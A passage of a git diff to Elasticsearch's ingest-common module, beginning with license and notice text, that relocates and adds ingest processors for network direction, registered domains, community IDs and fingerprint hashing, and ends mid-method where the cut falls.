License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below: + + to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works; + to create and reproduce Derivative Works; + to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works; + to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works. + + For the avoidance of doubt, where the work is a musical composition: + Performance Royalties Under Blanket Licenses. Licensor waives the exclusive right to collect, whether individually or via a performance rights society (e.g. ASCAP, BMI, SESAC), royalties for the public performance or public digital performance (e.g. webcast) of the Work. + Mechanical Rights and Statutory Royalties. Licensor waives the exclusive right to collect, whether individually or via a music rights agency or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work ("cover version") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions). + Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor waives the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions). + +The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved. + +4. Restrictions.The license granted in Section 3 above is expressly made subject to and limited by the following restrictions: + + You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by clause 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by clause 4(b), as requested. + If you distribute, publicly display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit. + +5. Representations, Warranties and Disclaimer + +UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU. + +6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +7. Termination + + This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works or Collective Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. + Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above. + +8. Miscellaneous + + Each time You distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License. + Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License. + If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable. + No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent. + This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You. diff --git a/modules/ingest-common/licenses/httpcore-NOTICE.txt b/modules/ingest-common/licenses/httpcore-NOTICE.txt new file mode 100644 index 0000000000000..c0be50a505ec1 --- /dev/null +++ b/modules/ingest-common/licenses/httpcore-NOTICE.txt @@ -0,0 +1,8 @@ +Apache HttpComponents Core +Copyright 2005-2014 The Apache Software Foundation + +This product includes software developed at +The Apache Software Foundation (http://www.apache.org/). + +This project contains annotations derived from JCIP-ANNOTATIONS +Copyright (c) 2005 Brian Goetz and Tim Peierls. See http://www.jcip.net diff --git a/modules/ingest-common/src/internalClusterTest/java/org/elasticsearch/ingest/common/IngestRestartIT.java b/modules/ingest-common/src/internalClusterTest/java/org/elasticsearch/ingest/common/IngestRestartIT.java index 0a4544ad2242d..2faf055edb969 100644 --- a/modules/ingest-common/src/internalClusterTest/java/org/elasticsearch/ingest/common/IngestRestartIT.java +++ b/modules/ingest-common/src/internalClusterTest/java/org/elasticsearch/ingest/common/IngestRestartIT.java @@ -9,6 +9,7 @@ import org.elasticsearch.action.admin.cluster.node.stats.NodesStatsResponse; import org.elasticsearch.action.support.WriteRequest; +import org.elasticsearch.cluster.node.DiscoveryNodeRole; import org.elasticsearch.common.bytes.BytesArray; import org.elasticsearch.common.bytes.BytesReference; import org.elasticsearch.common.settings.Settings; @@ -27,6 +28,7 @@ import java.util.function.Consumer; import java.util.function.Function; +import static org.elasticsearch.test.NodeRoles.onlyRole; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.greaterThanOrEqualTo; @@ -203,10 +205,7 @@ public void testPipelineWithScriptProcessorThatHasStoredScript() throws Exceptio public void testWithDedicatedIngestNode() throws Exception { String node = internalCluster().startNode(); - String ingestNode = internalCluster().startNode(Settings.builder() - .put("node.master", false) - .put("node.data", false) - ); + String ingestNode = internalCluster().startNode(onlyRole(DiscoveryNodeRole.INGEST_ROLE)); BytesReference pipeline = new BytesArray("{\n" + " \"processors\" : [\n" + diff --git a/x-pack/plugin/ingest/src/main/java/org/elasticsearch/xpack/ingest/CommunityIdProcessor.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/CommunityIdProcessor.java similarity index 96% rename from x-pack/plugin/ingest/src/main/java/org/elasticsearch/xpack/ingest/CommunityIdProcessor.java rename to modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/CommunityIdProcessor.java index 7698786758076..3d7e43fc8b028 100644 --- a/x-pack/plugin/ingest/src/main/java/org/elasticsearch/xpack/ingest/CommunityIdProcessor.java +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/CommunityIdProcessor.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.common.network.InetAddresses; import org.elasticsearch.ingest.AbstractProcessor; @@ -169,17 +170,16 @@ private Flow buildFlow(IngestDocument d) { case Tcp: case Udp: case Sctp: - flow.sourcePort = parseIntFromObjectOrString(d.getFieldValue(sourcePortField, Object.class, ignoreMissing), "source port"); - if (flow.sourcePort == 0) { - throw new IllegalArgumentException("invalid source port [0]"); + Object sourcePortValue = d.getFieldValue(sourcePortField, Object.class, ignoreMissing); + flow.sourcePort = parseIntFromObjectOrString(sourcePortValue, "source port"); + if (flow.sourcePort < 1 || flow.sourcePort > 65535) { + throw new IllegalArgumentException("invalid source port [" + sourcePortValue + "]"); } - flow.destinationPort = parseIntFromObjectOrString( - d.getFieldValue(destinationPortField, Object.class, ignoreMissing), - "destination port" - ); - if (flow.destinationPort == 0) { - throw new IllegalArgumentException("invalid destination port [0]"); + Object destinationPortValue = d.getFieldValue(destinationPortField, Object.class, ignoreMissing); + flow.destinationPort = parseIntFromObjectOrString(destinationPortValue, "destination port"); + if (flow.destinationPort < 1 || flow.destinationPort > 65535) { + throw new IllegalArgumentException("invalid destination port [" + destinationPortValue + "]"); } break; case Icmp: @@ -215,7 +215,7 @@ static int parseIntFromObjectOrString(Object o, String fieldName) { if (o == null) { return 0; } else if (o instanceof Number) { - return (int) o; + return ((Number) o).intValue(); } else if (o instanceof String) { try { return Integer.parseInt((String) o); diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/ConvertProcessor.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/ConvertProcessor.java index f32e2c746eba1..35f1728822acf 100644 --- a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/ConvertProcessor.java +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/ConvertProcessor.java @@ -8,6 +8,7 @@ package org.elasticsearch.ingest.common; +import org.elasticsearch.common.network.InetAddresses; import org.elasticsearch.ingest.AbstractProcessor; import org.elasticsearch.ingest.ConfigurationUtils; import org.elasticsearch.ingest.IngestDocument; @@ -83,6 +84,13 @@ public Object convert(Object value) { throw new IllegalArgumentException("[" + value + "] is not a boolean value, cannot convert to boolean"); } } + }, IP { + @Override + public Object convert(Object value) { + // IllegalArgumentException is thrown if unable to convert + InetAddresses.forString((String) value); + return value; + } }, STRING { @Override public Object convert(Object value) { diff --git a/x-pack/plugin/ingest/src/main/java/org/elasticsearch/xpack/ingest/FingerprintProcessor.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/FingerprintProcessor.java similarity index 87% rename from x-pack/plugin/ingest/src/main/java/org/elasticsearch/xpack/ingest/FingerprintProcessor.java rename to modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/FingerprintProcessor.java index 40c311b3059b6..327c79736bbf9 100644 --- a/x-pack/plugin/ingest/src/main/java/org/elasticsearch/xpack/ingest/FingerprintProcessor.java +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/FingerprintProcessor.java @@ -1,13 +1,15 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.common.Strings; +import org.elasticsearch.common.hash.Murmur3Hasher; import org.elasticsearch.common.util.ByteUtils; import org.elasticsearch.ingest.AbstractProcessor; import org.elasticsearch.ingest.ConfigurationUtils; @@ -215,7 +217,7 @@ public String getType() { public static final class Factory implements Processor.Factory { - public static final String[] SUPPORTED_DIGESTS = { "MD5", "SHA-1", "SHA-256", "SHA-512" }; + public static final String[] SUPPORTED_DIGESTS = { "MD5", "SHA-1", "SHA-256", "SHA-512", MurmurHasher.METHOD }; static final String DEFAULT_TARGET = "fingerprint"; static final String DEFAULT_SALT = ""; @@ -283,9 +285,13 @@ private MessageDigestHasher(MessageDigest md) { this.md = md; } - static MessageDigestHasher getInstance(String method) throws NoSuchAlgorithmException { - MessageDigest md = MessageDigest.getInstance(method); - return new MessageDigestHasher(md); + static Hasher getInstance(String method) throws NoSuchAlgorithmException { + if (method.equalsIgnoreCase(MurmurHasher.METHOD)) { + return MurmurHasher.getInstance(method); + } else { + MessageDigest md = MessageDigest.getInstance(method); + return new MessageDigestHasher(md); + } } @Override @@ -308,4 +314,42 @@ public String getAlgorithm() { return md.getAlgorithm(); } } + + static class MurmurHasher implements Hasher { + + public static final String METHOD = Murmur3Hasher.METHOD; + private final Murmur3Hasher mh; + + private MurmurHasher() { + this.mh = new Murmur3Hasher(0); + } + + static Hasher getInstance(String method) throws NoSuchAlgorithmException { + if (method.equalsIgnoreCase(METHOD) == false) { + throw new NoSuchAlgorithmException("supports only [" + METHOD + "] as method"); + } + return new MurmurHasher(); + } + + @Override + public void reset() { + mh.reset(); + } + + @Override + public void update(byte[] input) { + mh.update(input); + } + + @Override + public byte[] digest() { + return mh.digest(); + } + + @Override + public String getAlgorithm() { + return mh.getAlgorithm(); + } + } + } diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/GrokProcessorGetAction.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/GrokProcessorGetAction.java index 853f13e509b8e..0ec7b237dea7e 100644 --- a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/GrokProcessorGetAction.java +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/GrokProcessorGetAction.java @@ -7,7 +7,6 @@ */ package org.elasticsearch.ingest.common; -import org.elasticsearch.Version; import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.ActionRequest; import org.elasticsearch.action.ActionRequestValidationException; @@ -54,7 +53,7 @@ public Request(boolean sorted) { Request(StreamInput in) throws IOException { super(in); - this.sorted = in.getVersion().onOrAfter(Version.V_7_10_0) ? in.readBoolean() : false; + this.sorted = in.readBoolean(); } @Override @@ -65,9 +64,7 @@ public ActionRequestValidationException validate() { @Override public void writeTo(StreamOutput out) throws IOException { super.writeTo(out); - if (out.getVersion().onOrAfter(Version.V_7_10_0)) { - out.writeBoolean(sorted); - } + out.writeBoolean(sorted); } public boolean sorted() { diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/IngestCommonPlugin.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/IngestCommonPlugin.java index adaf8d7893312..167f0f6038cec 100644 --- a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/IngestCommonPlugin.java +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/IngestCommonPlugin.java @@ -77,7 +77,13 @@ public Map getProcessors(Processor.Parameters paramet entry(DissectProcessor.TYPE, new DissectProcessor.Factory()), entry(DropProcessor.TYPE, new DropProcessor.Factory()), entry(HtmlStripProcessor.TYPE, new HtmlStripProcessor.Factory()), - entry(CsvProcessor.TYPE, new CsvProcessor.Factory())); + entry(CsvProcessor.TYPE, new CsvProcessor.Factory()), + entry(UriPartsProcessor.TYPE, new UriPartsProcessor.Factory()), + entry(NetworkDirectionProcessor.TYPE, new NetworkDirectionProcessor.Factory(parameters.scriptService)), + entry(CommunityIdProcessor.TYPE, new CommunityIdProcessor.Factory()), + entry(FingerprintProcessor.TYPE, new FingerprintProcessor.Factory()), + entry(RegisteredDomainProcessor.TYPE, new RegisteredDomainProcessor.Factory()) + ); } @Override diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/NetworkDirectionProcessor.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/NetworkDirectionProcessor.java new file mode 100644 index 0000000000000..bbdb1c607d705 --- /dev/null +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/NetworkDirectionProcessor.java @@ -0,0 +1,309 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.common; + +import org.elasticsearch.common.network.CIDRUtils; +import org.elasticsearch.common.network.InetAddresses; +import org.elasticsearch.ingest.AbstractProcessor; +import org.elasticsearch.ingest.ConfigurationUtils; +import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.ingest.Processor; +import org.elasticsearch.script.ScriptService; +import org.elasticsearch.script.TemplateScript; + +import java.net.InetAddress; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +import static org.elasticsearch.ingest.ConfigurationUtils.newConfigurationException; +import static org.elasticsearch.ingest.ConfigurationUtils.readBooleanProperty; + +public class NetworkDirectionProcessor extends AbstractProcessor { + static final byte[] UNDEFINED_IP4 = new byte[] { 0, 0, 0, 0 }; + static final byte[] UNDEFINED_IP6 = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; + static final byte[] BROADCAST_IP4 = new byte[] { (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff }; + + public static final String TYPE = "network_direction"; + + public static final String DIRECTION_INTERNAL = "internal"; + public static final String DIRECTION_EXTERNAL = "external"; + public static final String DIRECTION_INBOUND = "inbound"; + public static final String DIRECTION_OUTBOUND = "outbound"; + + private static final String LOOPBACK_NAMED_NETWORK = "loopback"; + private static final String GLOBAL_UNICAST_NAMED_NETWORK = "global_unicast"; + private static final String UNICAST_NAMED_NETWORK = "unicast"; + private static final String LINK_LOCAL_UNICAST_NAMED_NETWORK = "link_local_unicast"; + private static final String INTERFACE_LOCAL_NAMED_NETWORK = "interface_local_multicast"; + private static final String LINK_LOCAL_MULTICAST_NAMED_NETWORK = "link_local_multicast"; + private static final String MULTICAST_NAMED_NETWORK = "multicast"; + private static final String UNSPECIFIED_NAMED_NETWORK = "unspecified"; + private static final String PRIVATE_NAMED_NETWORK = "private"; + private static final String PUBLIC_NAMED_NETWORK = "public"; + + private final String sourceIpField; + private final String destinationIpField; + private final String targetField; + private final List internalNetworks; + private final String internalNetworksField; + private final boolean ignoreMissing; + + NetworkDirectionProcessor( + String tag, + String description, + String sourceIpField, + String destinationIpField, + String targetField, + List internalNetworks, + String internalNetworksField, + boolean ignoreMissing + ) { + super(tag, description); + this.sourceIpField = sourceIpField; + this.destinationIpField = destinationIpField; + this.targetField = targetField; + this.internalNetworks = internalNetworks; + this.internalNetworksField = internalNetworksField; + this.ignoreMissing = ignoreMissing; + } + + public String getSourceIpField() { + return sourceIpField; + } + + public String getDestinationIpField() { + return destinationIpField; + } + + public String getTargetField() { + return targetField; + } + + public List getInternalNetworks() { + return internalNetworks; + } + + public String getInternalNetworksField() { + return internalNetworksField; + } + + public boolean getIgnoreMissing() { + return ignoreMissing; + } + + @Override + public IngestDocument execute(IngestDocument ingestDocument) throws Exception { + String direction = getDirection(ingestDocument); + if (direction == null) { + if (ignoreMissing) { + return ingestDocument; + } else { + throw new IllegalArgumentException("unable to calculate network direction from document"); + } + } + + ingestDocument.setFieldValue(targetField, direction); + return ingestDocument; + } + + private String getDirection(IngestDocument d) throws Exception { + List networks = new ArrayList<>(); + + if (internalNetworksField != null) { + @SuppressWarnings("unchecked") + List stringList = d.getFieldValue(internalNetworksField, networks.getClass(), ignoreMissing); + if (stringList == null) { + return null; + } + networks.addAll(stringList); + } else { + networks = internalNetworks.stream().map(network -> d.renderTemplate(network)).collect(Collectors.toList()); + } + + String sourceIpAddrString = d.getFieldValue(sourceIpField, String.class, ignoreMissing); + if (sourceIpAddrString == null) { + return null; + } + + String destIpAddrString = d.getFieldValue(destinationIpField, String.class, ignoreMissing); + if (destIpAddrString == null) { + return null; + } + + boolean sourceInternal = isInternal(networks, sourceIpAddrString); + boolean destinationInternal = isInternal(networks, destIpAddrString); + + if (sourceInternal && destinationInternal) { + return DIRECTION_INTERNAL; + } + if (sourceInternal) { + return DIRECTION_OUTBOUND; + } + if (destinationInternal) { + return DIRECTION_INBOUND; + } + return DIRECTION_EXTERNAL; + } + + private boolean isInternal(List networks, String ip) { + for (String network : networks) { + if (inNetwork(ip, network)) { + return true; + } + } + return false; + } + + private boolean inNetwork(String ip, String network) { + InetAddress address = InetAddresses.forString(ip); + switch (network) { + case LOOPBACK_NAMED_NETWORK: + return isLoopback(address); + case GLOBAL_UNICAST_NAMED_NETWORK: + case UNICAST_NAMED_NETWORK: + return isUnicast(address); + case LINK_LOCAL_UNICAST_NAMED_NETWORK: + return isLinkLocalUnicast(address); + case INTERFACE_LOCAL_NAMED_NETWORK: + return isInterfaceLocalMulticast(address); + case LINK_LOCAL_MULTICAST_NAMED_NETWORK: + return isLinkLocalMulticast(address); + case MULTICAST_NAMED_NETWORK: + return isMulticast(address); + case UNSPECIFIED_NAMED_NETWORK: + return isUnspecified(address); + case PRIVATE_NAMED_NETWORK: + return isPrivate(ip); + case PUBLIC_NAMED_NETWORK: + return isPublic(ip); + default: + return CIDRUtils.isInRange(ip, network); + } + } + + private boolean isLoopback(InetAddress ip) { + return ip.isLoopbackAddress(); + } + + private boolean isUnicast(InetAddress ip) { + return Arrays.equals(ip.getAddress(), BROADCAST_IP4) == false + && isUnspecified(ip) == false + && isLoopback(ip) == false + && isMulticast(ip) == false + && isLinkLocalUnicast(ip) == false; + } + + private boolean isLinkLocalUnicast(InetAddress ip) { + return ip.isLinkLocalAddress(); + } + + private boolean isInterfaceLocalMulticast(InetAddress ip) { + return ip.isMCNodeLocal(); + } + + private boolean isLinkLocalMulticast(InetAddress ip) { + return ip.isMCLinkLocal(); + } + + private boolean isMulticast(InetAddress ip) { + return ip.isMulticastAddress(); + } + + private boolean isUnspecified(InetAddress ip) { + var address = ip.getAddress(); + return Arrays.equals(UNDEFINED_IP4, address) || Arrays.equals(UNDEFINED_IP6, address); + } + + private boolean isPrivate(String ip) { + return CIDRUtils.isInRange(ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "fd00::/8"); + } + + private boolean isPublic(String ip) { + return isLocalOrPrivate(ip) == false; + } + + private boolean isLocalOrPrivate(String ip) { + var address = InetAddresses.forString(ip); + return isPrivate(ip) + || isLoopback(address) + || isUnspecified(address) + || isLinkLocalUnicast(address) + || isLinkLocalMulticast(address) + || isInterfaceLocalMulticast(address) + || Arrays.equals(address.getAddress(), BROADCAST_IP4); + } + + @Override + public String getType() { + return TYPE; + } + + public static final class Factory implements Processor.Factory { + private final ScriptService scriptService; + static final String DEFAULT_SOURCE_IP = "source.ip"; + static final String DEFAULT_DEST_IP = "destination.ip"; + static final String DEFAULT_TARGET = "network.direction"; + + public Factory(ScriptService scriptService) { + this.scriptService = scriptService; + } + + @Override + public NetworkDirectionProcessor create( + Map registry, + String processorTag, + String description, + Map config + ) throws Exception { + final String sourceIpField = ConfigurationUtils.readStringProperty(TYPE, processorTag, config, "source_ip", DEFAULT_SOURCE_IP); + final String destIpField = ConfigurationUtils.readStringProperty(TYPE, processorTag, config, "destination_ip", DEFAULT_DEST_IP); + final String targetField = ConfigurationUtils.readStringProperty(TYPE, processorTag, config, "target_field", DEFAULT_TARGET); + final boolean ignoreMissing = readBooleanProperty(TYPE, processorTag, config, "ignore_missing", true); + + final List internalNetworks = ConfigurationUtils.readOptionalList(TYPE, processorTag, config, "internal_networks"); + final String internalNetworksField = ConfigurationUtils.readOptionalStringProperty( + TYPE, + processorTag, + config, + "internal_networks_field" + ); + + if (internalNetworks == null && internalNetworksField == null) { + throw newConfigurationException(TYPE, processorTag, "internal_networks", "or [internal_networks_field] must be specified"); + } + if (internalNetworks != null && internalNetworksField != null) { + throw newConfigurationException( + TYPE, + processorTag, + "internal_networks", "and [internal_networks_field] cannot both be used in the same processor" + ); + } + + List internalNetworkTemplates = null; + if (internalNetworks != null) { + internalNetworkTemplates = internalNetworks.stream() + .map(n -> ConfigurationUtils.compileTemplate(TYPE, processorTag, "internal_networks", n, scriptService)) + .collect(Collectors.toList()); + } + return new NetworkDirectionProcessor( + processorTag, + description, + sourceIpField, + destIpField, + targetField, + internalNetworkTemplates, + internalNetworksField, + ignoreMissing + ); + } + } +} diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/Processors.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/Processors.java index 484b5d29453be..f79df2994f57a 100644 --- a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/Processors.java +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/Processors.java @@ -10,28 +10,77 @@ import java.util.Map; +/** + * Provides definitions for Painless methods that expose ingest processor + * functionality. Must also be explicitly allowed in: + * + * modules/ingest-common/src/main/resources/org/elasticsearch/ingest/common/processors_whitelist.txt + */ public final class Processors { + /** + * Uses {@link BytesProcessor} to return the number of bytes in a + * human-readable byte string such as 1kb. + * + * @param value human-readable byte string + * @return number of bytes + */ public static long bytes(String value) { return BytesProcessor.apply(value); } + /** + * Uses {@link LowercaseProcessor} to convert a string to its lowercase + * equivalent. + * + * @param value string to convert + * @return lowercase equivalent + */ public static String lowercase(String value) { return LowercaseProcessor.apply(value); } + /** + * Uses {@link UppercaseProcessor} to convert a string to its uppercase + * equivalent. + * + * @param value string to convert + * @return uppercase equivalent + */ public static String uppercase(String value) { return UppercaseProcessor.apply(value); } + /** + * Uses {@link JsonProcessor} to convert a JSON string to a structured JSON + * object. + * + * @param fieldValue JSON string + * @return structured JSON object + */ public static Object json(Object fieldValue) { return JsonProcessor.apply(fieldValue); } - public static void json(Map ctx, String field) { - JsonProcessor.apply(ctx, field); + /** + * Uses {@link JsonProcessor} to convert a JSON string to a structured JSON + * object. + * + * @param map map that contains the JSON string and will receive the + * structured JSON content + * @param field key that identifies the entry in map that + * contains the JSON string + */ + public static void json(Map map, String field) { + JsonProcessor.apply(map, field); } + /** + * Uses {@link URLDecodeProcessor} to URL-decode a string. + * + * @param value string to decode + * @return URL-decoded value + */ public static String urlDecode(String value) { return URLDecodeProcessor.apply(value); } diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/RegisteredDomainProcessor.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/RegisteredDomainProcessor.java new file mode 100644 index 0000000000000..d9f8eb8eac4c4 --- /dev/null +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/RegisteredDomainProcessor.java @@ -0,0 +1,186 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.common; + +import org.apache.http.conn.util.PublicSuffixMatcher; +import org.apache.http.conn.util.PublicSuffixMatcherLoader; +import org.elasticsearch.ingest.AbstractProcessor; +import org.elasticsearch.ingest.ConfigurationUtils; +import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.ingest.Processor; + +import java.util.Map; + +public class RegisteredDomainProcessor extends AbstractProcessor { + private static final PublicSuffixMatcher SUFFIX_MATCHER = PublicSuffixMatcherLoader.getDefault(); + + public static final String TYPE = "registered_domain"; + + private final String field; + private final String targetField; + private final boolean ignoreMissing; + + RegisteredDomainProcessor( + String tag, + String description, + String field, + String targetField, + boolean ignoreMissing + ) { + super(tag, description); + this.field = field; + this.targetField = targetField; + this.ignoreMissing = ignoreMissing; + } + + public String getField() { + return field; + } + + public String getTargetField() { + return targetField; + } + + public boolean getIgnoreMissing() { + return ignoreMissing; + } + + @Override + public IngestDocument execute(IngestDocument ingestDocument) throws Exception { + DomainInfo info = getRegisteredDomain(ingestDocument); + if (info == null) { + if (ignoreMissing) { + return ingestDocument; + } else { + throw new IllegalArgumentException("unable to set domain information for document"); + } + } + String fieldPrefix = targetField; + if (fieldPrefix.equals("") == false) { + fieldPrefix += "."; + } + String domainTarget = fieldPrefix + "domain"; + String registeredDomainTarget = fieldPrefix + "registered_domain"; + String subdomainTarget = fieldPrefix + "subdomain"; + String topLevelDomainTarget = fieldPrefix + "top_level_domain"; + + if (info.getDomain() != null) { + ingestDocument.setFieldValue(domainTarget, info.getDomain()); + } + if (info.getRegisteredDomain() != null) { + ingestDocument.setFieldValue(registeredDomainTarget, info.getRegisteredDomain()); + } + if (info.getETLD() != null) { + ingestDocument.setFieldValue(topLevelDomainTarget, info.getETLD()); + } + if (info.getSubdomain() != null) { + ingestDocument.setFieldValue(subdomainTarget, info.getSubdomain()); + } + return ingestDocument; + } + + private DomainInfo getRegisteredDomain(IngestDocument d) { + String fieldString = d.getFieldValue(field, String.class, ignoreMissing); + if (fieldString == null) { + return null; + } + String registeredDomain = SUFFIX_MATCHER.getDomainRoot(fieldString); + if (registeredDomain == null) { + if 